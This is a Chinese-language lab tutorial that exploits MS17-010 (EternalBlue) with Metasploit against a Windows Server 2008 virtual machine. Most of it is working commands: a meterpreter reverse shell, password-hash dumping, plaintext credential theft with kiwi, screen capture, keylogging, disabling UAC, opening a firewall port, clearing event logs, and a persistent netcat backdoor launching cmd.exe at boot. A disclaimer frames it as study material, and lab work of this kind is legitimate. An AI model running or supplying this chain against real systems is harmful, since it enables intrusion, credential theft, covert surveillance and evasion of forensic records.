声明:
本文仅供交流学习,未经授权的渗透测试都是违法行为,产生的一切后果自负,请各位熟知《网络安全法》
简介
漏洞为外界所知源于勒索病毒的爆发,该病毒利用NSA(美国国家安全局泄露的网络攻击工具永恒之蓝(EternalBlue)改造而成
环境搭建
虚拟平台VM Ware
靶机:Windows Server 2008 IP:192.168.10.142/24
攻击机:Kali IP:192.168.10.10/24
工具介绍
Metasploit Framework(MSF)
一款开源的安全漏洞检测工具,简称MSF
可以收集信息、探测系统漏洞、执行漏洞利用测试等,为渗透测试、攻击编码和漏洞研究提供了一个可靠平台
集成数千个漏洞利用、辅助测试模块,并保持持续更新由著名黑客、安全专家H.D.Moore主导开发
官方网站: https://metasploit.com
由于MSF渗透测试框架已经集成在了Kali系统中,所以不需要单独安装,只需要使用命令升级系统程序的同时更新MSF即可
apt upgrade
环境,工具全部准备好以后就可以开始了
登录Kali系统的root用户
在终端输入msfconsole即可进入控制台
输入?即可获取帮助
MSF核心命令
exit //获取帮助
back//退出MSF控制台
show//查看模块或相关信息
search//搜索模块
use//使用模块
options//列出当前模块选项
set//设置模块选项
run或exploit//运行当前模块
开始操作
第一步:漏洞扫描,使用脚本进行漏洞扫描
在MSF控制台中输入search ms17-010搜索漏洞
命令:
search ms17-010 #利用search命令,搜索漏洞相关利用模块
使用模块3来进行扫描,会显示设置对方IP地址
输入set rhosts 192.168.10.142
然后使用run来运行
msf6 > use 3
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.10.142
rhosts => 192.168.10.142
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
结果会显示靶机的系统版本信息而且会提示Host is likely VULNERABLE to MS17-010!
意味着靶机系统存在MS17-010漏洞
第二步漏洞利用
现在我们已经知道靶机系统存在MS17-010漏洞,接下来 我们开始漏洞利用
msf6 auxiliary(scanner/smb/smb_ms17_010) > back //退出切换脚本
msf6 > use 0 //使用脚本0,建立反弹连接
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.10.142//设置对方IP
rhosts => 192.168.10.142
msf6 exploit(windows/smb/ms17_010_eternalblue) > run//执行
Meterpreter作为攻击载荷使用,以便后渗透操作
meterpreter > hashdump //获取用户和密码
meterpreter > getuid //获取用户信息
可以看到成功获取了靶机的账户和密码,不过密码是经过MD5加密过的,可以拿到MD5解密网站去解密
第三步加载Kiwi模块,获取账号信息
meterpreter > load kiwi //加载kiwi模块
meterpreter > creds_all //获取账户信息
通过kiwi模块我们就可以成功获取到靶机的明文密码,但是kiwi模块的前提是对方登录了以后,将账户密码存到了内存中,我们才可以读取到
第四步进程迁移,与稳定进程绑定
meterpreter > ps //查看进程
一般带administrator的都是稳定进程,我们这里选择explorer.exe做绑定,进程号1872
注意,进程号跟我的不一定一样,选择自己显示的进程号即可
erpreter > migrate 1872 //迁移进程到1872
[*] Migrating from 1140 to 1872... //从1140迁移到1872
[*] Migration completed successfully. //迁移成功
第五步,远程监控屏幕
使用screen share命令可以获取到靶机的屏幕,实现监控
meterpreter > screenshare
第六步,开启键盘记录
记录键盘的脚本放在post/windows/capture/keylog_recorder路径下
直接执行
meterpreter > run post/windows/capture/keylog_recorder
如果显示了Recording keystrokes 就代表着已经开始记录靶机的键盘记录,不论输入什么,都会被记录 下来,文件保存在标红的目录里
验证一下是开启了键盘记录,在靶机中创建一个文本随便输入一点东西
回到Kali中,找到保存键盘记录的文件
复制路径,直接到文件系统中回车就会打开
ctrl+c退出记录
第七步,创建后门,添加防火墙规则
进入到靶机的终端
meterpreter > shell //进入控制台
应用65001代码页可以很好的解决win终端乱码
C:\Windows\system32>chcp 65001
chcp 65001
Active code page: 65001
进入了靶机终端我们可以控制靶机防火墙的开关
C:\Windows\system32>netsh advfirewall set allprofiles state on//开启防火墙
C:\Windows\system32>netsh advfirewall set allprofiles state off//关闭防火墙
添加一条入站规则,协议tcp端口666 名称HM
C:\Windows\system32>netsh firewall add portopening tcp 666 HM enable all
进入靶机查看防火墙允许的程序,HM已经被成功添加
第八部步,操作注册表关闭UAC
用户账户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。
C:\Windows\system32>reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
第九步,清除日志
日志会记录我们的所有操作,先来看下靶机的日志
注意:在真实的渗透测试中,请勿清除日志
清除日志命令
meterpreter > clearev
再返回靶机中查看日志
所有日志已经被清除
第十步,持续性后门程序植入
这里用到了net cat 又称瑞士军刀,详情看这里
https://blog.csdn.net/weixin_44431280/article/details/123455083
nc已经集成在Kali中,不需要单独下载,文件路径/usr/share/windows-binaries/nc.exe
上传命令
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32
上传成功
将nc.exe添加开机启动,并且监听666端口
还是通过shell命令先进入终端
C:\Windows\system32>schtasks /create /tn "nc" /ru system /tr "c:\windows\system32\nc.exe -Ldp 666 -e cmd.exe" /sc onstart
重启靶机
通过nc连接靶机
┌──(root㉿kali)-[~]
└─# nc 192.168.10.142 666
可以看到,在上传了持续后门程序以后,即使靶机不登录也可以对靶机进行控制